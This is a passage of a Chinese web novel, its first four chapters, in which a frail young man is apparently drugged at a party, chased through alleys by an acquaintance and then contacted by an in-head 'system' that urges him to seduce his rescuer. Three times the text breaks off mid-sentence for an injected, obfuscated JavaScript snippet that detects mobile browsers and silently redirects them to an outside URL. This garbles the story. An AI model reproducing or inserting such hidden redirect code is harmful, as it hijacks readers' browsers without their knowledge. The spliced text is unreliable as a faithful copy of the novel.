《病弱炮灰为何深陷修罗场》 1. 第 1 章 迟瑜确信自己被人跟踪了。 夜色浓重如墨,刚下过雨的小巷泥泞不堪,呼吸间满是雨水泥腥的气息,这气味使他头晕得更厉害。 更可怕的是,他还迷路了。 这是他从未踏足过的老居民区,狭小破旧的阴暗小巷里,居民楼外墙爬着深绿而凌乱的苔藓,迟瑜漫无目的地在窄巷里穿行,还没有反应过来自己怎么突然就到了这里。 他穿着贺骄亲自挑选的纯白丝质衬衣,连头发丝都被精心打理过,看上去如同一位漂亮矜贵的小王子,这个时间点他应该出现在贺家举办的的酒会上,找一个无人的角落待着,安静等待贺骄应酬完来找他才是。 至于为什么会莫名其妙出现在这里,迟瑜还没理清头绪,便被巷子里的冷风吹得咳嗽了几声。 此时已经是深夜,小巷里没有路灯,只有头顶上冷白的月光能照明,迟瑜有轻微的近视和夜盲,在这样的环境下几乎看不清五米开外的情形。 他走路很轻,脚步声在小巷里沙沙回响,而另一串不属于他的脚步声、从后方黑暗处清晰传来,就那样如影随形地跟着他。 哒、哒、哒…… 迟瑜停下脚步想要仔细去听,但身后的脚步声也随即停下。 饶是迟钝如他,也很快察觉到了异常。 那脚步声如同鬼魅一般,在深夜的暗巷里回响,一声一声,听得迟瑜手脚都有些发麻。 他不敢回头,但却时刻能听见那脚步声真切存在的声音,几乎与他的脚步重叠在一起。 迟瑜走得不快,身后跟着他的那人也不着急,甚至明知道迟瑜察觉到了他的存在,却依然闲庭信步一般,就那样不紧不慢地缀在他身后,像是恶趣味地享受着这场“跟踪”游戏。 没带手机,联系不上贺骄,绕了几个小路口之后,迟瑜还是头一回知道天南市居然还有这样荒凉的地方,弯弯绕绕的交错小巷,几乎没有几盏灯是亮的。 迟瑜心里有些慌,他越是害怕,脑子里越是轮播起了惊悚电影里的画面,感觉下一秒手持巨斧的杀人魔就要劈开他的脑袋了。 快逃—— 在经过下一个路口时,迟瑜心一横猛然加快了脚步,他不认识路,就只凭着直觉在迷宫似的巷子里奔跑起来。 但他一跑起来,身后追踪的脚步声明显也加快。 果然是冲着他来的,迟瑜不敢回头看。 他身体实在是差得很,喝过酒之后又吹了大半夜的凉风,这会儿只觉得肺里拉风箱似的嘶哑作响,偏偏身体里又满溢着莫名的燥热,各种不适几乎要将他吞噬,迟瑜只觉得身上哪里都难受得要命,快要力竭了也不敢停下,他几乎闭着眼睛跑,耳边除了自己的呼吸声之外,就是身后逐渐逼近的脚步声。 快要被追上了…… 迟瑜忍不住绝望地想,他一定逃不掉了,如果死在在这里,贺骄会来给他收尸吗? 几瞬之间,他脑袋里竟天马行空地想到了之后长眠的墓地,迟瑜有些懊悔之前没有和贺骄探讨过这些事,如果真的发生意外横死,他希望能和爸爸妈妈做邻居…… 肩膀猛然被扣住,迟瑜的想象被迫中断,一股难以抗衡的力量将他胳膊往后拉了一下,而后他整个人撞进身后那人的胸膛之中,一条坚实的手臂从身后箍住他的腰,将他牢牢锁在怀中。 后脑勺撞上某种坚硬的东西,迟瑜晕眩得眼冒金星,他脑袋里突兀地响起一声短促的金属嗡鸣声,转瞬即逝,还来不及捕捉就消失了,迟瑜本能地推搡着那条横在他腰间的手臂,却不敢回头看。 还是被抓住了。 “好疼……” 迟瑜眼中瞬间疼出了泪花,脑袋里紧绷了许久的弦仿佛一下子被扯断了。 被这猛然一撞,他终于慢半拍地想起了一切。 半个小时之前他的确还在酒会上。 趁着贺骄和去待客的间隙,原本分散在宴厅各处的几名青年,对了一下视线,就默契地围了过来,迟瑜连躲的功夫都没有。 他手足无措,好一会儿通过对方几人自报家门才想起来这些人是谁,迟瑜当时下意识便想逃离,但无奈被团团围住。 几年过去,他们好像完全忘记了曾经霸凌过迟瑜的事,亲切地围过来叙旧寒暄,对迟瑜几乎遗忘了他们这件事也浑不在意。 伸手不打笑脸人,毕竟回国来的这两年,贺骄掌权之后,他的身份也跟着水涨船高,已经很久没有人会主动来触他霉头了。迟瑜心里虽然不太开心,但怕砸了贺骄的场子,也就忍下去了。 被不依不饶地劝了几杯酒之后,他脑袋就开始发晕了,身上也燥热起来。 喝完之后他只感觉这些人看他的眼神很奇怪,像是要扑上来从他身上活生生咬下一块带血的皮肉,迟瑜心里害怕,担心这些人故态萌发,自己再待下去又要挨欺负,就赶紧借着要去洗手间的功夫跑出来了。 他当时脑袋晕乎乎,找不到贺骄,也不敢回宴厅,就干脆留在外面想透口气,心里想着反正贺骄忙完了没看见他总是要来找的。 却没想到在路边见到一只白猫,海蓝色的眼睛圆而亮,迟瑜怔在了原地,蹲下身来想去将它抱进怀里,但猫咪亲昵地绕着他转了几圈,“喵”了几声,转头轻巧地跃进了旁边的小路。 记忆里,很多年前他也曾经养过一只这样的猫,是妈妈送他的生日礼物,养了几年,在迟家出事时就走失了。 酒精和身体内部逐渐升起的不适感让他几乎没办法正常思考,等反应过来的时候,他人已经跟着白猫钻进了小巷里,拐了几道弯之后,猫咪纵身跳进了矮墙里不知所踪,只留下迟瑜茫茫然站在原地。 这太邪门了。 还不如留在宴厅里被那群人多欺负一阵子,大不了像几年前一样挤出几滴眼泪装一装就好。 迟瑜后脑勺还疼着,呼吸都止不住地抖,眼泪簌簌落下来。 贴在他身后的那具身体却像是僵住了,好一会儿,他才听见不太自然的声音:“哭什么,大晚上不回家在这儿散步?” 这声音似乎有些耳熟,但迟瑜这会儿也顾不得猜测那么多,求生欲战胜了好奇心,他喘着气抓住横在腰上的手臂,企图掰开脱离控制:“不散步,我要回家的,我现在就想回家。” “现在想回家?”身后的男人的声音听着很年轻,听着有种独特的锐气,“晚了。” 迟瑜身上的燥热感更加强烈,好奇怪。 他指甲修得圆润光洁,也不太敢使劲,抓在那条坚实的手臂上,推拒地意图都不敢表现得太明显,声音里带着明显的无措:“你放了我吧,你想要钱还是什么都行?” 贺骄会愿意出钱来赎他的。 “要什么都行?”男人低头靠近迟瑜耳边,恶劣地说,“我不劫财,只劫色,你也愿意?” 呼到耳边的热气让迟瑜脑袋宕机了一瞬,转而身体里那股奇怪的感觉愈演愈烈,他脚下有些站不住,往后仰倒撞上男人胸口。 身后的男人呼吸一顿:“喘得这么好听,还主动投怀送抱,你这人看着挺清纯,私底下玩这么花?” 这都什么跟什么,他喘了吗? 迟瑜有些茫然地想,他应该只是正常呼吸而已,顶多因为刚才跑急了,呼吸声有些急促而已。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383196|184151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在抢劫的还会问这种问题吗? 迟瑜没转过弯来,于是认真地回答他:“你听错了,我没喘,玩得也不花。” 身后的人嗤笑了一声。 迟瑜感觉自己后腰被什么东西抵着,硬硬的,吓得他动也不敢动。 他刚想要再说些什么解释一下,脑袋里却灵光一闪,这人说话的语气腔调,让他脑袋里蓦然浮现起一张桀骜的脸。 迟瑜不太确定,迟疑地问:“你……你是季森?” 身后的男人轻哼了一声,没有否认:“没意思,这就听出来了。” 随即便松开了手臂,不知是不是迟瑜的错觉,他感觉对方的手掌在他腰上多停顿了一秒,身体里那股难言的燥热也仿佛炸开了一瞬,迟瑜差点就倒进季森怀里了,还好他偷偷扶了一下身侧的墙壁,才没造成这尴尬的局面。 但得知身后这人的身份之后,他还是下意识松了一口气。 是季森的话,倒是比身份不明的跟踪狂要好许多。 好歹也算是认识的人,迟瑜虽然不喜欢他,却也不觉得这人会真的伤害他。 只是季森性格是公认的不合群,向来特立独行,和天南市的二代们玩不到一起,就连今晚的宴会,他也没有到场。 这人为什么会出现在这里迟瑜也无暇深究了,今晚他的身体真的变得好奇怪…… 迟瑜身上软得几乎有些站不住,他下意识扶住季森的手臂,咬着下唇,却还是从齿缝里溢出一丝细弱的呻吟。 季森没怎么察觉到迟瑜的异常,他和迟瑜认识两年,早已见多了迟瑜病恹恹的模样。 他旋身将人按在墙边靠住,语气满是不耐烦,手臂却横在迟瑜胸前,任由迟瑜扶住他:“你刚才跑什么,我喊你好几声你也不停?” “大晚上的,不回去睡觉,一个人跑这里来做什么?” 一连串的发问听得迟瑜脑袋更晕了。 身体里的燥热几乎让他无法正常思考了,季森手臂上裸露出来的皮肤被夜风吹得冰凉,迟瑜忍不住将身体都贴上去乱蹭。 “动手动脚的,不会是想暗地里勾引我吧,我告诉你,我可不吃你这套……” 季森嘴上不饶人,身体却没后退半步,不经意间将手臂往前递了递,迟瑜手心的皮肤灼热而细腻,在他手臂上游走,激起一大片触电般的酥麻感。 他反手将迟瑜双手按住,眼神一瞬间变得幽深锋利。 迟瑜抬起脸来,想要告诉季森他身上很不对劲,想祈求季森把他送回到贺骄身边去。 月光下,他的脸颊眼尾洇开的红晕秾艳欲滴,细碎的汗珠从额角沁出来,分不清是累的还是热的。 季森站得离他很近,肩宽腿长,月光下迟瑜几乎被他的影子完全笼罩住,迟瑜几乎看不清季森的表情,但记忆却自动补全了他的面容。 桀骜而冷冽,看人的时候总是带着轻蔑和不屑。 “迟瑜?”季森皱起眉,终于发现面前的人有些不对劲,他抬手挑起迟瑜的下巴,低头凑近了些,“你喝酒了?” “还是被人下药了?” 迟瑜说不出话来,就连视线逐渐模糊,季森说话时的热气打在他颈侧,迟瑜伸出舌尖舔舔嘴唇,脑袋里仅剩的一点理智也荡然无存了,他循着身体的本能双臂攀上季森的脖子,踮起脚一口咬住了眼前张合的嘴唇。 意识混沌之间,迟瑜隐约听见几声猫叫,他竭力先开眼皮,恍然见看见巷尾隐约拉出一道修长的的人影。 他还没来得及看仔细,眼皮就沉重地合上了,脑袋里类似金属碰撞的嗡鸣声越发清晰。 2. 第 2 章 迟瑜已经想不起来自己是怎么被季森带走的,脑袋里的记忆都像碎片一般,他浑身灼热,眼前一黑就软趴趴地跌进季森怀里。 季森并不是天南市人,是前两年才跟着舅舅从京市过来的,据说家世显赫,迟瑜和他不熟,话都没说过几次,这些消息基本都是跟在贺骄身边时听到的。 他们虽然同在圣莱茵读书,但因为专业不同,也很少有见面的机会。 只是季森这人怪得很,好多次两人偶然出现在同一场合时,季森都要莫名其妙地盯着他看,那眼神里有种说不出来的感觉,每回都盯得迟瑜发怵,但还没等迟瑜不自在到要躲开的地步时,这人又先一步神色不屑地移开视线与别人交谈去了,留下迟瑜一个人站在原地满头雾水。 简直莫名其妙。 迟瑜曾向贺骄讲过这件事,贺骄那时正盘腿坐在地毯上给他擦护手霜,细致到每一个关节指缝都没有遗漏,听了迟瑜的话,他连头也没有抬起来,漫不经心地说: “小鱼,他让你觉得不舒服了,也许是因为他和当初的那些人一样,看不起你、讨厌你,那你远离他就好了。” 迟瑜咬咬嘴唇,想问为什么对方会没由来讨厌他,但贺骄神色专注低着头,迟瑜最终还是没再出声打扰他。 然而贺骄像是头顶长了眼睛一般,轻笑了一声: “你忘了,以前其他人是怎么欺负你的?” “他们现在不敢欺负你,只是因为贺家真正由我们掌控了,他们还要仰仗贺家的合作而已。” “但季森不一样,他是京市来的,他家里情况挺复杂,你不搭理他是好事。” 迟瑜怔了一下,远走国外3年,再回来时贺骄已经逐渐掌控住了贺家,他都快忘了那段艰难的、无端被人看低欺凌的日子。 贺家现在的掌权人是贺骄,而他迟瑜,在所有人眼里,只是一株依附着贺骄生长的菟丝花,一只选对了主子的金丝雀。 原来季森也只是看不起他、讨厌他吗…… 贺骄将他两只手都涂抹好之后,才有空分出精力去看迟瑜的脸:“怎么看着这么可怜,如果小鱼不想被欺负的话,那就不要理会他们也不要招惹他们,一刻都不要离开我身边,这样我才能保护好你。” 迟瑜有些难过,他从来没有试图招惹过任何人,但他攀附在贺骄膝上仰头逆光看过去时,却觉得那双沉静的眼瞳中蕴含着某种深幽涡流,他莫名打了个寒颤,就趴在贺骄膝盖上低着头答应了。 意识再次回笼的时候,迟瑜只感觉身体内外冰火两重天。 密集的水线从头顶落下来,视线一片模糊,他眼睛都有些睁不开,整个人躺在浴缸里,头发湿哒哒地黏在侧脸上,迟瑜扶着浴缸边缘想要躲开头顶倾洒下来的水线,手脚却软得不听使唤。 凉水并没有纾解他身上的燥热,迟瑜反而感觉头更晕了,除了那些奇怪的身体反应之外,他感觉自己体温也烫得不正常。 “别动。” 水声停止,季森的声音从头顶传来,迟瑜仰起脸去看,水珠从眼睫上滴落下来,季森的眼神似乎比浴缸里的水还要冷,就那样居高临下地看着他,不过因为逆光和睫毛沾水的缘故,迟瑜也没太看清。 浴室里的灯光很亮,装修是一片纯白的极简风格。 这不是贺骄家。 迟瑜挣扎着趴在浴缸边缘,眨落水珠,视线清明了许多,脑袋里却依然一片混沌,他声音有些哑:“这是哪里?” “浴室啊,看不出来?” “……” 除了水声滴答之外,就只有两人交错的呼吸声。 迟瑜抿紧唇,没再继续问了。 季森视线在他身上停留了几秒,耳廓爬上一层不明显的红晕,他舔舔嘴唇偏过头去,不再看浴缸里的人。 季森嘴唇上还残留着一丝刺痛和甜腥血气,是被迟瑜牙齿磕破的,伤口不深,很快就结了痂。 迟瑜一眼就看见了他嘴唇上的痕迹,有些心虚,难怪季森对他没有好脸色。 但季森没明着找他算账提,迟瑜干脆也跟着装失忆。他整个人窝在浴缸里,身上的丝质衬衣被水打湿之后几乎是半透明的质感,朦胧地透出肤色,衣料紧贴在他身上,将腰线勾勒得不盈一握,该看的不该看的隐隐约约也都让人看了个遍。 季森将他抱回来的路上偷偷比划过,一条胳膊就能完全圈住,甚至还有盈余。 也不知道贺家是怎么养的人,每回见到都一副病歪歪的模样,叫人看了就心烦意乱。 这要是养在他家里,绝不可能会这样孱弱。 也不知道迟瑜身上用了什么香水,季森和他待在同一片空间里,都觉得周旁萦绕着一股似有若无的香气,甜而不腻,季森闻着这气息,就算移开了视线,脑袋里也不受控制地回想起迟瑜衣裳湿透的模样,像一尾搁浅的鱼,仰着头目光含水地看着他。 看得他也觉得身上莫名燥热起来。 迟瑜眼皮耷拉着,不自觉地去扯自己领口,身体的异常让他急迫地想要找到一些舒缓的方式。 但这一切都收效甚微,哪怕再迟钝,这会儿也察觉到自己的身体不是普通的不对劲了。 迟瑜软趴趴地靠在在浴缸里,伸手去扯季森的衣角,眼巴巴地望过去,目光莹莹,露出右边最漂亮的四分之三侧脸,整个人显得清纯无辜,微微抿起的唇角却又勾起恰到好处的示弱弧度。 看起来美丽而无害。 这表情迟瑜曾对着镜子练习过千百遍,自认为绝不会出差错,是他一贯擅长的装可怜模样,就连声音也软乎乎的带着央求意味:“季森,我现在很不舒服,我要找贺骄,你能不能帮我联系一下贺骄?打个电话就可以。” 迟家出事之后的几年,迟瑜已经被那个拜高踩低的圈子调教得,对于在这种境地下如何利用优势保全自己的伎俩运用得驾轻就熟。 季森仍站在浴缸前,衣着整齐,就这样直勾勾地俯视下来,迟瑜看不懂他的表情,却也敏锐地判断出来那并不带有什么善意,唇线的弧度像是有几分嘲弄。 迟瑜等了一会儿,抓着衣角的手不自觉攥得紧紧的,但居高临下俯视着他的人仍旧没说话,迟瑜假笑示弱的表情逐渐有点僵硬了,疑心自己几年没用这招,是否生疏了。 他这样衣衫不整丑态毕出,也难怪贺骄说季森会看不起他讨厌他。 父母去世之后贺骄收留了他,那几年迟瑜真是受够了这群擅长变脸的天龙人,见他从云端上跌下来,就好像每一个都能高高在上地踩他一脚,没由来地轻视他,捉弄他,欺负他。 那时贺骄的境遇也好不到哪儿去,同样失去亲人,但他好歹有小姨庇护着,又是贺家唯一存活的血脉,因此也没人敢真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383197|184151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招惹他不痛快。 回国之后,迟瑜以为自己已经脱离了之前的困境,再不会有人那样对待他,却没想到季森出现了。 那些他迫切想要丢弃的记忆又卷土重来,迟瑜此刻只觉得自己像个无地自容的小丑,难堪得要命。 可能是身体的异样让他不如以往沉得住气了,没多久,迟瑜脸上的表情就彻底装不住了,他掩饰似的低垂下眼帘,伸手将自己领口拉紧了些。 好一会儿,面前高大的男人好像是终于欣赏够了,半蹲下来伸手去将迟瑜脸侧的发丝拨开,又用指腹擦去他眼角不知道是水珠还是眼泪的水迹,那一片皮肤这会儿也敏感极了,季森并没有使劲,但指腹揉过的地方此刻还是红得有点可怜。 “迟瑜,你现在该找的不是贺骄,老实泡着。” 季森低头看了眼腕表,十几分钟前他刚打电话给医生,以迟瑜现在的情况,他并不觉得贺骄比医生管用。 迟瑜身上不好受,听季森这样说,心里更是把他咒骂了八百遍,要不是这人在巷子里跟踪他,追着他跑,他说不定已经找到回去的路。 自作主张把他带回家,现在又嫌弃地用冷水来浇他,还不准他去找贺骄,迟瑜真的有点被惹到了。 冰火两重天的感觉很不好受,他身体里的燥热非但没有缓解,反而因为冷水刺激到皮肤而越发难受,身体里快要炸开的热意让他整个人都躁动起来。 见不到贺骄,说不定他今晚就要因为这个药死在季森家里。 迟瑜想到这里更难受了,临死之前还要窝窝囊囊地被羞辱,要找乐子也不能都逮着他一个人欺负吧! 季森愣了一下,好像被他凶狠的眼神震慑住了,迟瑜心中刚有些快意,但下一秒钟,贺骄竟然抬手来揉了揉他湿漉漉的发顶。 居然还要继续羞辱他! 可恶啊,迟瑜这回是真的被惹毛了。 他脑子本来就不太清醒了,身上不寻常的生理反应让他无法保持理智。 恼怒冲昏了头脑,借着酒劲和药力他恶从胆边生,只想让季森也尝尝泡冷水的滋味。 他凭借这个姿势,死死抓住季森的领口,身体猛然向后倾倒,使出了全身的人力气。 季森对这双细伶伶的手毫无防备,竟然就这样被他突然暴起拉进了浴缸里。 水花飞扬激荡,迟瑜后脑勺撞在浴缸壁上,疼得眼冒金星,眼泪瞬间便落了下来。 他刚想得意地呲牙嘲笑回去,却眼前一黑几乎失去了意识。 “迟——瑜——” “你找死!” 季森一身湿透了,头发丝往下滴水,咬牙切齿压抑着怒火一字一顿。 但迟瑜大半身体仰躺在水中,双眼闭合,被水珠黏连的眼睫微动,轻轻喘着气,对他的发作毫无反应,季像是一拳打在了棉花上,他撑着手臂跪坐在迟瑜大腿两侧,几乎将人完全笼罩在自己的身体下。 过于暧昧的距离让两人呼吸都交融在一起,那股香气就变得明显起来。 “你怎么这么香……” 季森话刚说出口,便觉得别扭,他刚想再说些什么找补一下,才发现身下的人状态很不对。 “迟瑜?” 季森推推迟瑜的肩膀,掌下的体温烫得他心跳都漏了一拍,他又伸手去摸了摸迟瑜的额头。 好像发烧了。 3. 第 3 章 他将人抱回来时,体温还虽然也烫,当时季森以为那是被人下药之后的症状,但现在这个温度显然已经不正常了。 “迟瑜,还听得见我说话吗?” 略显急促的呼吸从身下传来, 他低头看了一眼怀里的人,迟瑜面上泛着不正常的红晕,看起来睡得极不安稳,黑长的浓睫沾着细碎的水珠,时不时扇动,眼皮却像粘合在一起,怎么也挣扎不开。 这会儿也顾不上太多了,他打了一拳水面发泄怒气,恶狠狠盯着浴缸里病歪歪的迟瑜,最终只能认命地将人从水里捞出来,伸手去将解开迟瑜白衬衣的纽扣,手忙脚乱之间,还扯坏了几颗,剥去衣裤之后,露出里面无暇的身体。 迟瑜很瘦,却并不是皮包骨的干瘦,而是少年特有的稚嫩,像抽条的嫩芽,天生的纤细骨架,覆着一层雪白细腻的皮肉,而现在因为药物和发烧的缘故,白皙的皮肤染上了一层薄红,衬得原本就漂亮的面庞更加明艳旖旎。 他手腕上不合时宜地绕着条雪白的纱巾,季森没多想,顺手就将它扯掉了。 迟瑜就这样毫无防备赤裸着躺在季森怀里,乌黑的发丝湿漉漉地沾在额头脸侧,更显出几分凌乱的诱惑。 美色在怀,季森自以为是一个无比正常的男人,在这种情况下有生理反应实属人之常情,但也还没有禽兽到会趁人之危的地步。 贺骄横抱起赤裸着昏迷过去的迟瑜,裹上浴巾擦干身体之后放入了被子里,将迟瑜湿透的头发吹干之后,又打了一通电话给医生,才解开衣服去了浴室里。 浴缸里的凉水还在,季森抬脚跨了进去。 这是迟瑜泡过的水。 这个认知一旦在脑袋里浮现,一缸普通的凉水都仿佛接上了微弱的电流,让他浑身过电般不自在,那股不知名的香气又开始浮动在鼻尖,小勾子似的。 季森烦躁地拍了下水面,心尖上像是有蚂蚁在爬,他把手伸到水下,一闭上眼,满脑子都是迟瑜赤裸着躺在他怀里的模样。 操。 迟瑜躺在床上,意识无比清醒,身体像离魂一般身体不受控制,他惊慌失措地想向季森呼救,但嘴唇却紧紧闭合,发不出一丝声音。 今晚真是好邪门,他不会真的中邪了吧。 迟瑜快要把脑袋里有印象的菩萨都求了一遍,就连财神爷和送子娘娘都没放过。 【没有中邪。】 脑袋里突然响起一道电子音,平淡无波,像是AI生成的阅读音。 谁? 迟瑜疑心自己烧晕了出现幻觉了。 【不是幻觉哦。】 还会读心? 【我是实习系统,隶属于炮灰部门,终于绑定到你了,宝宝~】 【这是一本烂尾的NP买股文,您的身份是作死且早死的万人嫌炮灰,为了剧情顺利推进,我也会尽我所能协助您完成任务。】 【今晚你觉得有点中邪,可能也有一部分原因是触发了系统的剧情推进机制。】 这道电子音已经从初始的平淡无波变得生动起来,挺萌的,有点像动漫配音,迟瑜还在漫无目的地走神,突然间感觉到脑海里好像被奇怪的东西进入了。 炮灰?早死? 迟瑜云里雾里好一会儿才勉强捋清了思路。 原来在这个世界里,他的定位就是个炮灰小反派,怪不得他这样招人厌。 【是的,真正的主角受出现之前,你就会被所有人厌弃,蹦跶不了多久就要下线了。】 【炮灰狐狸精,也就是你的人设,表面清纯无暇,实则虚伪善变,拜高踩低,花心恶毒,试图脚踩N条船,在主角攻候选人之间摇摆不定,但最终逃不掉被拆穿之后,凄凉惨死的命运。】 【现在距离你下线时间,仅剩半年。】 “所以,这个无耻的反派……” “花心善变心的狐狸精……” “我吗?” 迟瑜听着系统的描述,只觉得脑瓜子嗡嗡的。 这合理吗? 和他比起来,那些莫名其妙爱欺负人的才更像反派吧? 他这种莫名其妙招人厌的体质也能当狐狸精? 【主人设是炮灰,狐狸精是附加属性。】 好吧。 迟瑜不再纠结这一点,继续问:“那主角攻是指谁?” 【NP买股文中,涉及到你的相关剧情的主角攻可能会是多位,只有角色被触发时我才会有提醒。】 【目前可以确定的是,贺骄就是主角攻之一。】 迟瑜一怔,他还以为贺骄会是孤独终老的那种人,没想到在后面的剧情里,他也会遇到真爱,还会为了主角受和其他人又争又抢。 【所以宝宝,你要清醒一点,你只是炮灰,不要试图对任何一位主角攻动真感情。】 迟瑜哑然。 “我需要做什么?” 【您这个炮灰角色并没有完整的故事线,所以除了必要的人设任务和剧情任务之外,自由度很高。】 “那任务在哪里看?” 【定期人设任务——完成每日狐狸精日常】 【不定期剧情任务——剧情触发解锁后会有系统任务提示。】 “结束任务之后我的结局是什么,无痛死掉吗?”迟瑜有些不好意思,“抱歉,我的问题可能有点多。” 【绑定系统之后,福利大大滴好。任务结束之后,我可以帮你兑换到一个新的身份生活,并且留下一笔丰厚的财富,数额会根据你的任务评级来定哦。】 这像是某种传/销诈骗话术,迟瑜有点不敢相信。 【我知道一时之间让你接受这一点很难。】 【宝宝,我知道你左手手腕上有很浅的刀疤,跟了你8年。】 系统的电子音里竟透着一丝心疼。 迟瑜心头一颤,下意识想要捂住手腕,却发现自己的身体还在昏睡当中,完全不能动弹。 【宝宝,醒来之后看看你的手腕。】 【我想要你能过上自由的生活。】 【完成你这一单之后,我也能顺利转正了。】 【希望我们都有好运。】 迟瑜没说话。 心尖上却瞬间窜起了一簇隐秘的小火苗,然而下一秒这点火苗又被他自己浇灭了,他第一反应是,自己真的能离开贺骄吗? 但很快他又后知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383198|184151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后觉地反应过来自己这个想法有多可怕。 他沉默了好一会儿,才谨慎地问:“一定会被炮灰掉吗?” 【那当然,跟主角抢男人的小妖精能有什么好下场。】 迟瑜有些难堪,暗地里他不是没听过旁人这样形容他,只是别人嘴里贬低他的话真成了自己的人设,迟瑜心底还是有点麻麻的。 【宝宝,达成炮灰结局就行,我会在必要时刻帮助你。】 “还有一个问题。”迟瑜想到今晚离奇的经历,又问系统,“季森,他是主角吗?” 脑海里系统发出轻微的滋滋电流声。 【不是哦,主线角色被触发的话,会有系统提示的。】 【目前已知的主线角色,就只有贺骄。】 迟瑜有点惊诧,如果季森不是,那系统想让他在那条小巷子里触发的主线人物还能是谁呢? 那只白猫幽蓝的眼瞳忽地在脑海中一闪而过。 迟瑜还没来得及细想,就发觉自己拿回了身体的控制权,那点没想明白的念头立即被抛到了九霄云外。 迟瑜睁开眼睛,动了动下手脚,第一时间便将左手举到面前来,手腕内侧皮肤光洁,丝毫看不出来有过任何受伤的痕迹,他眨眨眼睛,翻来覆去看了好几遍,确信自己没有眼花。 虽然在和系统交谈的时候,迟瑜就已经信了大半,但亲眼见到这样离奇的事情发生在自己身上,他内心里还是难免震惊。 这么邪门的事情竟真的被他撞上了。 【童叟无欺,系统是不会骗人的!】 【效果可维持半小时。】 “我要怎么称呼你?” 萌萌的系统音里透出来几分不好意思: 【我要转正了才会有正式编号,到时候宝宝你给我取个名字吧。】 “……” 迟瑜沉默了,怪不得会做他这种平平无奇小炮灰的系统,既没有逆袭剧情也没有打脸设定,听着权限也不是很高的样子。 系统发觉了他的无语,立刻大声说:【独立完成一单我才能转正,所以请相信我一定会尽全力帮你的!】 【况且宝宝你也不是平平无奇,你这张脸谁敢说平平无奇!】 迟瑜敷衍地嗯了一声,结束了和系统的交谈。 他这时才察觉到自己正赤身躺在床上,就连头发丝都是蓬松干爽的,心里不禁有些意外,他把季森拖下水去,季森居然没把他拆成八块扔出去。 那看来他脾气也没有传说中的那样差。 但很快迟瑜就没有心思琢磨这些了,身上那些奇怪的燥热感觉又再次卷土重来,几乎在一瞬间将他理智淹没。 “救救我。”迟瑜立即向系统求助:“我要是没命了,你这一单也要黄了。” 【宝宝,我只能屏蔽基础的病痛,而且很有限制,药物产生的反应不在我的能力范围之内,事实上,我已经尽全力帮你退了烧,别的我也无能为力了。】 迟瑜有点慌:“那我现在能怎么办,你能帮我找到贺骄吗,他肯定可以救我的。” 【远水解不了近渴,季森不是在吗,去引诱他他。】 “我?”迟瑜睁大了眼睛。 4. 第 4 章 【就用你刚才那招,浴缸里那个,美死了,美得我都说不出话来。】 【季森当时眼睛都看直了,他肯定特吃这套!】 “他不喜欢的。”迟瑜摇摇头,看来系统也不都对,季森都讨厌死他了,“我不敢,他真的可能会揍我的,你没看见他胳膊上的肌肉吗,一拳能把我抡出二里地去。” “我今晚先是强吻了他,后面又报复他把他拖进冷水里,他绝对气疯了,再去招惹他,那他不把我打个半死才怪,现在还留着我,肯定是等着看我笑话。” 【不会的宝宝,你都对他做了这么多坏事,也不差这一件了,如果他想揍你,你现在都不可能全须全尾地躺在这儿。】 大概真是药效的作用,迟瑜竟然觉得系统的分析也有几分道理,求生欲一时上头,也顺着它的思路去考量这番操作的可能性。 【去吧,你都是花心浪荡行为不检的狐狸精小炮灰了,中了春药难道还要为贺骄守身如玉吗?】 倒不是守不守身的问题,况且他和贺骄,也不是那种关系…… 迟瑜还是有点顾虑:“万一被贺骄发现了怎么办?” 贺骄虽说对他没有那种感情,但迟瑜太清楚他的脾性了,贺骄从小到大领地意识都很强,属于他的东西如果不能只是他专属的,那他宁可不要,也不会共享。 迟瑜并不敢高估自己在贺骄心里真实的分量。 系统自说自话: 【法治社会,贺骄虽然不是什么好东西,但应该也不是法外狂徒,宝宝你别怕。】 【宝宝你不用太在意这些细节,把他们都当成你改命的工具人好了。】 【况且咱们是炮灰人设,人贺骄不一定会在意这点小事~】 这话有点扎心了。 迟瑜还想再挣扎一下:“那万一季森不吃我这一套呢?” 【那正好恶心他一下,我早看他们这些人不顺眼了?】 “……” 【快去宝宝,我看书上说,这个药如果不解的话可能会留下隐疾,严重的话可能要命。】 【你不觉得自己身上越来越热了吗?】 【趁着你现在还有点理智,赶紧主动出击吧,不然等后面欲/望把你理智淹没的时候,才叫真的可怕。】 系统的声音很焦急。 迟瑜吓得抖了一下,不敢再耽搁,掀开被子披上半湿的浴巾慢慢下了床。 